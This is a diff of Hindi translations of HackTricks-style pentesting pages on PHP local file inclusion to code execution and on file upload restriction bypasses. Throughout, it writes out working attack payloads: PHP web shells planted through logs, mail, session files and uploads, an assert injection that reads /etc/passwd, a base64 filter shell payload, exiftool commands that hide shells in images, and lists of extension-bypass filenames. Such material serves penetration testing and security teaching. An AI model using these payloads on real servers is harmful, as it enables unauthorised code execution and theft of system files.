आप **php://stdin, php://stdout और php://stderr** का उपयोग **file descriptors 0, 1 और 2** तक पहुँचने के लिए कर सकते हैं (यह एक हमले में कैसे उपयोगी हो सकता है, यह निश्चित नहीं है)
आप **php://stdin, php://stdout और php://stderr** का उपयोग **file descriptors 0, 1 और 2** तक पहुँचने के लिए कर सकते हैं (यह नहीं पता कि यह हमले में कैसे उपयोगी हो सकता है)
### zip:// और rar://
@ -352,11 +356,11 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
`test.phar` नामक एक फ़ाइल का निर्माण किया जाएगा, जिसे स्थानीय फ़ाइल समावेशन (LFI) कमजोरियों का शोषण करने के लिए उपयोग किया जा सकता है।
कार्यान्वयन के दौरान, `test.phar` नामक एक फ़ाइल बनाई जाएगी, जिसे स्थानीय फ़ाइल समावेशन (LFI) कमजोरियों का शोषण करने के लिए उपयोग किया जा सकता है।
उन मामलों में जहां LFI केवल फ़ाइल पढ़ने का कार्य करता है बिना PHP कोड को निष्पादित किए, जैसे कि `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` के माध्यम से, एक deserialization कमजोरी का शोषण करने का प्रयास किया जा सकता है। यह कमजोरी `phar` प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।
उन मामलों में जहां LFI केवल फ़ाइल पढ़ने का कार्य करता है बिना PHP कोड को निष्पादित किए, जैसे कि `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` जैसी फ़ंक्शंस के माध्यम से, एक डीसिरियलाइजेशन कमजोरी का शोषण करने का प्रयास किया जा सकता है। यह कमजोरी `phar` प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।
`.phar` फ़ाइलों के संदर्भ में deserialization कमजोरियों के शोषण को समझने के लिए, नीचे दिए गए लिंक किए गए दस्तावेज़ को देखें:
`.phar` फ़ाइलों के संदर्भ में डीसिरियलाइजेशन कमजोरियों के शोषण को समझने के लिए, नीचे दिए गए लिंक किए गए दस्तावेज़ को देखें:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -366,13 +370,13 @@ phar-deserialization.md
### CVE-2024-2961
**PHP फ़िल्टर का समर्थन करने वाले किसी भी मनमाने फ़ाइल को पढ़ने का दुरुपयोग** करके RCE प्राप्त करना संभव था। विस्तृत विवरण [**इस पोस्ट में पाया जा सकता है**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
बहुत संक्षिप्त सारांश: PHP हीप में **3 बाइट ओवरफ्लो** का दुरुपयोग किया गया था ताकि **विशिष्ट आकार के मुक्त टुकड़ों की श्रृंखला को बदलने** के लिए, ताकि **किसी भी पते पर कुछ भी लिखने** में सक्षम हो सकें, इसलिए **`system`** को कॉल करने के लिए एक हुक जोड़ा गया।\
विशिष्ट आकार के टुकड़ों को आवंटित करने के लिए अधिक PHP फ़िल्टर का दुरुपयोग करना संभव था
**किसी भी मनमाने फ़ाइल को PHP से पढ़ने के लिए जो php फ़िल्टर का समर्थन करता है** का दुरुपयोग करके RCE प्राप्त करना संभव था। विस्तृत विवरण [**इस पोस्ट में पाया जा सकता है**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)****\
बहुत संक्षिप्त सारांश: PHP हीप में **3 बाइट ओवरफ्लो** का दुरुपयोग किया गया था ताकि **विशिष्ट आकार के मुक्त टुकड़ों की श्रृंखला को बदलने** के लिए, ताकि **किसी भी पते पर कुछ भी लिखा जा सके**, इसलिए **`system`** को कॉल करने के लिए एक हुक जोड़ा गया।\
विशिष्ट आकार के टुकड़ों को आवंटित करना संभव था, अधिक php फ़िल्टर का दुरुपयोग करके
### अधिक प्रोटोकॉल
यहां अधिक संभावित [**प्रोटोकॉल शामिल करने के लिए जांचें**](https://www.php.net/manual/en/wrappers.php)**:**
यहां अधिक संभावित [**प्रोटोकॉल की जांच करें**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी या अस्थायी फ़ाइल में लिखें (यह फ़ाइल समावेशन हमले में कैसे उपयोगी हो सकता है, यह निश्चित नहीं है)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — स्थानीय फ़ाइल सिस्टम तक पहुँच
@ -385,13 +389,13 @@ phar-deserialization.md
## PHP के 'assert' के माध्यम से LFI
PHP में स्थानीय फ़ाइल समावेशन (LFI) जोखिम 'assert' फ़ंक्शन के साथ काफी उच्च होते हैं, जो स्ट्रिंग के भीतर कोड निष्पादित कर सकता है। यह विशेष रूप से समस्याग्रस्त है यदि ".." जैसे निर्देशिका ट्रैवर्सल वर्णों वाला इनपुट जांचा जा रहा है लेकिन सही तरीके से साफ नहीं किया गया है।
PHP में स्थानीय फ़ाइल समावेशन (LFI) जोखिम 'assert' फ़ंक्शन के साथ काफी उच्च होते हैं, जो स्ट्रिंग्स के भीतर कोड को निष्पादित कर सकता है। यह विशेष रूप से समस्याग्रस्त है यदि ".." जैसे निर्देशिका ट्रैवर्सल वर्णों वाला इनपुट जांचा जा रहा है लेकिन सही तरीके से साफ नहीं किया गया है।
उदाहरण के लिए, PHP कोड को इस तरह से निर्देशिका ट्रैवर्सल को रोकने के लिए डिज़ाइन किया जा सकता है:
```bash
assert("strpos('$file', '..') === false") or die("");
```
जबकि इसका उद्देश्य ट्रैवर्सल को रोकना है, यह अनजाने में कोड इंजेक्शन के लिए एक वेक्टर बनाता है। फ़ाइल सामग्री पढ़ने के लिए इसका लाभ उठाने के लिए, एक हमलावर उपयोग कर सकता है:
जबकि इसका उद्देश्यTraversal को रोकना है, यह अनजाने में कोड इंजेक्शन के लिए एक वेक्टर बनाता है। फ़ाइल सामग्री पढ़ने के लिए इसका लाभ उठाने के लिए, एक हमलावर उपयोग कर सकता है:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -404,7 +408,7 @@ assert("strpos('$file', '..') === false") or die("");
## PHP ब्लाइंड पाथ ट्रैवर्सल
> [!WARNING]
> यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप **PHP फ़ंक्शन** के **फ़ाइल पथ** को **नियंत्रित** करते हैं जो **एक फ़ाइल** को **एक्सेस** करेगा लेकिन आप फ़ाइल की सामग्री नहीं देखेंगे (जैसे **`file()`** का एक साधारण कॉल) लेकिन सामग्री नहीं दिखाई देती।
> यह तकनीक उन मामलों में प्रासंगिक है जहाँ आप **PHP फ़ंक्शन** के **फ़ाइल पथ** को **नियंत्रित** करते हैं जो **एक फ़ाइल** तक **पहुँचता** है लेकिन आप फ़ाइल की सामग्री नहीं देखेंगे (जैसे **`file()`** का एक साधारण कॉल) लेकिन सामग्री नहीं दिखाई देती।
[**इस अद्भुत पोस्ट**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) में समझाया गया है कि कैसे एक ब्लाइंड पाथ ट्रैवर्सल को PHP फ़िल्टर के माध्यम से **एक त्रुटि ओरेकल के माध्यम से फ़ाइल की सामग्री को एक्सफिल्ट्रेट** करने के लिए दुरुपयोग किया जा सकता है।
@ -414,7 +418,7 @@ assert("strpos('$file', '..') === false") or die("");
**संभावित रूप से कमजोर फ़ंक्शन**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (केवल लक्षित पढ़ने के लिए इस पर)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
तकनीकी विवरण के लिए उल्लेखित पोस्ट की जांच करें!
तकनीकी विवरण के लिए उल्लेखित पोस्ट देखें!
## LFI2RCE
@ -431,7 +435,7 @@ assert("strpos('$file', '..') === false") or die("");
>
> इसके अलावा, सुनिश्चित करें कि आप **पेलोड को सही ढंग से लिखें** अन्यथा PHP हर बार त्रुटि करेगा जब यह लॉग फ़ाइल को लोड करने की कोशिश करेगा और आपके पास दूसरा अवसर नहीं होगा।
यह अन्य लॉग में भी किया जा सकता है लेकिन **सावधान रहें**, लॉग के अंदर कोड URL एन्कोडेड हो सकता है और इससे शेल नष्ट हो सकता है। हेडर **प्राधिकरण "बेसिक"** में "user:password" Base64 में होता है और इसे लॉग के अंदर डिकोड किया जाता है। PHPShell को इस हेडर के अंदर डाला जा सकता है।\
यह अन्य लॉग में भी किया जा सकता है लेकिन **सावधान रहें,** लॉग के अंदर कोड URL एन्कोडेड हो सकता है और इससे शेल नष्ट हो सकता है। हेडर **प्राधिकरण "बेसिक"** में "user:password" Base64 में होता है और इसे लॉग के अंदर डिकोड किया जाता है। PHPShell को इस हेडर के अंदर डाला जा सकता है।\
अन्य संभावित लॉग पथ:
```python
/var/log/apache2/access.log
@ -448,7 +452,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### ईमेल के माध्यम से
**एक मेल भेजें** एक आंतरिक खाते (user@localhost) को जिसमें आपका PHP payload हो जैसे `<?php echo system($_REQUEST["cmd"]); ?>` और उपयोगकर्ता के मेल में शामिल करने की कोशिश करें एक पथ के साथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
**एक मेल भेजें** एक आंतरिक खाते (user@localhost) पर जिसमें आपका PHP payload हो जैसे `<?php echo system($_REQUEST["cmd"]); ?>` और उपयोगकर्ता के मेल में शामिल करने का प्रयास करें एक पथ के साथ जैसे **`/var/mail/<USERNAME>`** या **`/var/spool/mail/<USERNAME>`**
### /proc/\*/fd/\* के माध्यम से
@ -464,7 +468,7 @@ User-Agent: <?=phpinfo(); ?>
```
### अपलोड के माध्यम से
यदि आप एक फ़ाइल अपलोड कर सकते हैं, तो बस इसमें शेल पेलोड इंजेक्ट करें (जैसे: `<?php system($_GET['c']); ?>` ).
यदि आप एक फ़ाइल अपलोड कर सकते हैं, तो बस इसमें शेल पेलोड इंजेक्ट करें (जैसे: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
@ -492,7 +496,7 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
LFI का उपयोग करके PHP सत्र फ़ाइल को शामिल करें
LFI का उपयोग PHP सत्र फ़ाइल को शामिल करने के लिए करें
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
@ -502,14 +506,14 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
### **Via** **vsftpd** _**logs**_
FTP सर्वर vsftpd के लिए लॉग _**/var/log/vsftpd.log**_ पर स्थित हैं। उस परिदृश्य में जहाँ एक स्थानीय फ़ाइल समावेशन (LFI) भेद्यता मौजूद है, और एक उजागर vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदमों पर विचार किया जा सकता है:
FTP सर्वर vsftpd के लिए लॉग _**/var/log/vsftpd.log**_ पर स्थित हैं। उस परिदृश्य में जहाँ एक Local File Inclusion (LFI) भेद्यता मौजूद है, और एक उजागर vsftpd सर्वर तक पहुँच संभव है, निम्नलिखित कदम उठाए जा सकते हैं:
1. लॉगिन प्रक्रिया के दौरान उपयोगकर्ता नाम फ़ील्ड में एक PHP पेलोड इंजेक्ट करें।
1. लॉगिन प्रक्रिया के दौरान उपयोगकर्ता नाम क्षेत्र में एक PHP पेलोड इंजेक्ट करें।
2. इंजेक्शन के बाद, _**/var/log/vsftpd.log**_ से सर्वर लॉग प्राप्त करने के लिए LFI का उपयोग करें।
### Via php base64 filter (using base64)
जैसा कि [इस](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख में दिखाया गया है, PHP base64 फ़िल्टर केवल Non-base64 को अनदेखा करता है। आप फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए इसका उपयोग कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह बस "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
जैसा कि [इस](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) लेख में दिखाया गया है, PHP base64 फ़िल्टर बस Non-base64 को अनदेखा करता है। आप फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए इसका उपयोग कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" पर समाप्त होता है, तो यह बस "." को अनदेखा कर देगा और base64 में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -525,7 +529,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Upload** एक फ़ाइल जो **अस्थायी** रूप से `/tmp` में संग्रहीत होगी, फिर **उसी अनुरोध में,** एक **segmentation fault** को ट्रिगर करें, और फिर **अस्थायी फ़ाइल को हटाया नहीं जाएगा** और आप इसके लिए खोज कर सकते हैं।
**एक फ़ाइल अपलोड करें** जो `/tmp` में **अस्थायी** के रूप में संग्रहीत होगी, फिर **उसी अनुरोध में,** एक **सेगमेंटेशन फॉल्ट** ट्रिगर करें, और फिर **अस्थायी फ़ाइल को हटाया नहीं जाएगा** और आप इसके लिए खोज कर सकते हैं।
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -572,7 +576,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Via phpinfo() (file_uploads = on)
यदि आपने **Local File Inclusion** और एक फ़ाइल पाई है जो **phpinfo()** को प्रदर्शित करती है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:
यदि आपने **Local File Inclusion** और एक फ़ाइल जो **phpinfo()** को उजागर करती है, जिसमें file_uploads = on है, पाया है, तो आप RCE प्राप्त कर सकते हैं:
{{#ref}}
lfi2rce-via-phpinfo.md
@ -580,7 +584,7 @@ lfi2rce-via-phpinfo.md
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
यदि आपने **Local File Inclusion** पाया है और आप **temp फ़ाइल का पथ निकाल सकते हैं** लेकिन **सर्वर** **जांच रहा है** कि **शामिल की जाने वाली फ़ाइल में PHP मार्क्स हैं**, तो आप इस **Race Condition** के साथ **उस जांच को बायपास** करने की कोशिश कर सकते हैं:
यदि आपने **Local File Inclusion** पाया है और आप **temp फ़ाइल का पथ** **exfiltrate** कर सकते हैं लेकिन **सर्वर** **जांच** कर रहा है कि **शामिल की जाने वाली फ़ाइल में PHP मार्क्स हैं**, तो आप इस **Race Condition** के साथ **उस जांच को बायपास** करने की कोशिश कर सकते हैं:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

View File

@ -2,13 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
**Phar** फ़ाइलें (PHP Archive) फ़ाइलें **serialized format** में मेटा डेटा **contain** करती हैं, इसलिए, जब इसे पार्स किया जाता है, तो यह **metadata** **deserialized** होता है और आप **PHP** कोड के अंदर एक **deserialization** भेद्यता का दुरुपयोग करने की कोशिश कर सकते हैं।
**Phar** फ़ाइलें (PHP Archive) फ़ाइलें **serialized format** में मेटा डेटा **contain** करती हैं, इसलिए, जब इसे पार्स किया जाता है, तो यह **metadata** **deserialized** होती है और आप **PHP** कोड के अंदर एक **deserialization** भेद्यता का दुरुपयोग करने की कोशिश कर सकते हैं।
इस विशेषता के बारे में सबसे अच्छी बात यह है कि यह deserialization तब भी होगी जब PHP फ़ंक्शंस का उपयोग किया जाए जो PHP कोड को eval नहीं करते जैसे **file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()**
तो, एक ऐसी स्थिति की कल्पना करें जहाँ आप एक PHP वेब को किसी मनमाने फ़ाइल का आकार प्राप्त करने के लिए **`phar://`** प्रोटोकॉल का उपयोग कर सकते हैं, और कोड के अंदर आपको निम्नलिखित के समान एक **class** मिलती है:
तो, एक ऐसी स्थिति की कल्पना करें जहाँ आप एक PHP वेब को क मनमाने फ़ाइल का आकार प्राप्त करने के लिए **`phar://`** प्रोटोकॉल का उपयोग कर सकते हैं, और कोड के अंदर आपको निम्नलिखित के समान एक **class** मिलती है:
```php:vunl.php
<?php
class AnyClass {
@ -61,8 +59,8 @@ php vuln.php
```
### संदर्भ
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
{{#ref}}
https://blog.ripstech.com/2018/new-php-exploitation-technique/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## फ़ाइल अपलोड सामान्य कार्यप्रणाली
अन्य उपयोगी एक्सटेंशन:
@ -18,11 +17,11 @@
### फ़ाइल एक्सटेंशन जांच को बायपास करें
1. यदि लागू हो, तो **पिछले एक्सटेंशन की जांच करें।** कुछ **बड़े अक्षरों** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._
2. _**कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें** (पिछले एक्सटेंशन का भी उपयोग करें):_
1. यदि लागू हो, तो **पिछले एक्सटेंशनों की जांच करें।** कुछ **बड़े अक्षरों** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._
2. _**कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें** (पिछले एक्सटेंशनों का भी उपयोग करें):_
- _file.png.php_
- _file.png.Php5_
3. **अंत में विशेष वर्ण जोड़ने का प्रयास करें।** आप सभी **ascii** और **Unicode** वर्णों को **bruteforce** करने के लिए Burp का उपयोग कर सकते हैं। (_ध्यान दें कि आप **पिछले** उल्लेखित **एक्सटेंशन** का उपयोग करने का प्रयास भी कर सकते हैं_)
3. **अंत में विशेष वर्ण जोड़ने का प्रयास करें।** आप सभी **ascii** और **Unicode** वर्णों को **bruteforce** करने के लिए Burp का उपयोग कर सकते हैं। (_ध्यान दें कि आप **पिछले** उल्लेखित **एक्सटेंशनों** का उपयोग करने का प्रयास भी कर सकते हैं_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -32,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **एक्सटेंशन को डबल करना** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशनों के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशनों** का भी उपयोग कर सकते हैं_
4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **एक्सटेंशन को डबल करना** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशनों के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशनों** का भी उपयोग कर सकते हैं._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -46,7 +45,7 @@
- _file.php%00.png%00.jpg_
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (Apache की गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी जहां कोई भी एक्सटेंशन **_**.php**_**, लेकिन** जरूरी नहीं कि .php** में समाप्त हो, कोड निष्पादित करेगा):
- _ex: file.php.png_
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कॉलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (.e.g. “file.asp::$data.”)
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कॉलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (.e.g. “file.asp::$data.”)
8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP छोड़ दिया जाता है। AAA<--SNIP-->AAA.php
```
@ -64,38 +63,38 @@ AAA<--SNIP 232 A-->AAA.php.png
- **Content-Type** जांच को बायपास करें **Content-Type** **header** के **मान** को सेट करके: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **शब्दकोश**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\
- फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** को जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` या आप **पेलोड को सीधे** एक छवि में भी पेश कर सकते हैं:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- यदि **संकुचन आपकी छवि में जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE चंक** [**यहाँ पर परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संकुचन** को **बचाए**
- यदि आपकी छवि में **संकुचन जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE चंक** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को **बचाए**
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- वेब पृष्ठ **छवि** का **आकार बदलने** के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT चंक** [**यहाँ पर परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संकुचन** को **बचाए**
- वेब पृष्ठ **छवि** का **आकार बदलने** के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT चंक** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को **बचाए**
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- एक और तकनीक जो **छवि के आकार बदलने** को **बचाती** है, वह है PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करना। हालाँकि, आप **tEXt चंक** [**यहाँ पर परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संकुचन** को **बचाए**
- एक और तकनीक जो **छवि के आकार बदलने** को **बचाती** है, वह है PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करना। हालाँकि, आप **tEXt चंक** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को **बचाए**
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### अन्य ट्रिक्स की जांच करें
### अन्य चालें जांचने के लिए
- पहले से अपलोड की गई फ़ाइल का नाम **बदलने** के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।
- बैकडोर निष्पादित करने के लिए **स्थानीय फ़ाइल समावेशन** भेद्यता खोजें।
- **संभावित जानकारी का खुलासा**:
1. **एक ही फ़ाइल** को **एक ही समय** में **कई बार** अपलोड करें **एक ही नाम** के साथ
2. **एक फ़ाइल** के **नाम** के साथ फ़ाइल अपलोड करें या **फोल्डर** जो **पहले से मौजूद है**
3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Apache में **Windows** में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
1. **एक ही नाम** के साथ **एक ही फ़ाइल** को **कई बार** (और **एक ही समय में**) अपलोड करें
2. **पहले से मौजूद** फ़ाइल या **फ़ोल्डर** के **नाम** के साथ फ़ाइल अपलोड करें
3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Windows में Apache में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे **“…:.jpg”** **NTFS** में। (Windows)
5. **Windows** में **अमान्य वर्ण** जैसे `|<>*?”` के साथ फ़ाइल अपलोड करें। (Windows)
6. **Windows** में **आरक्षित** (**निषिद्ध**) **नामों** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 के साथ फ़ाइल अपलोड करें
- **एक निष्पादन योग्य** (.exe) या **.html** (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो **कोड निष्पादित करेगा** जब इसे पीड़ित द्वारा गलती से खोला जाएगा।
5. **Windows** में **अमान्य वर्णों** के साथ फ़ाइल अपलोड करें जैसे `|<>*?”` इसके नाम में। (Windows)
6. **Windows** में **आरक्षित** (**निषिद्ध**) **नामों** के साथ फ़ाइल अपलोड करें जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9।
- **एक निष्पादन योग्य** (.exe) या **.html** (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो **कोड निष्पादित** करेगी जब इसे पीड़ित द्वारा गलती से खोला जाएगा।
### विशेष एक्सटेंशन ट्रिक्स
### विशेष एक्सटेंशन चालें
यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** ट्रिक पर एक नज़र डालें](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)।\
यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** ट्रिक पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)।
यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** चाल पर एक नज़र डालें](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)।\
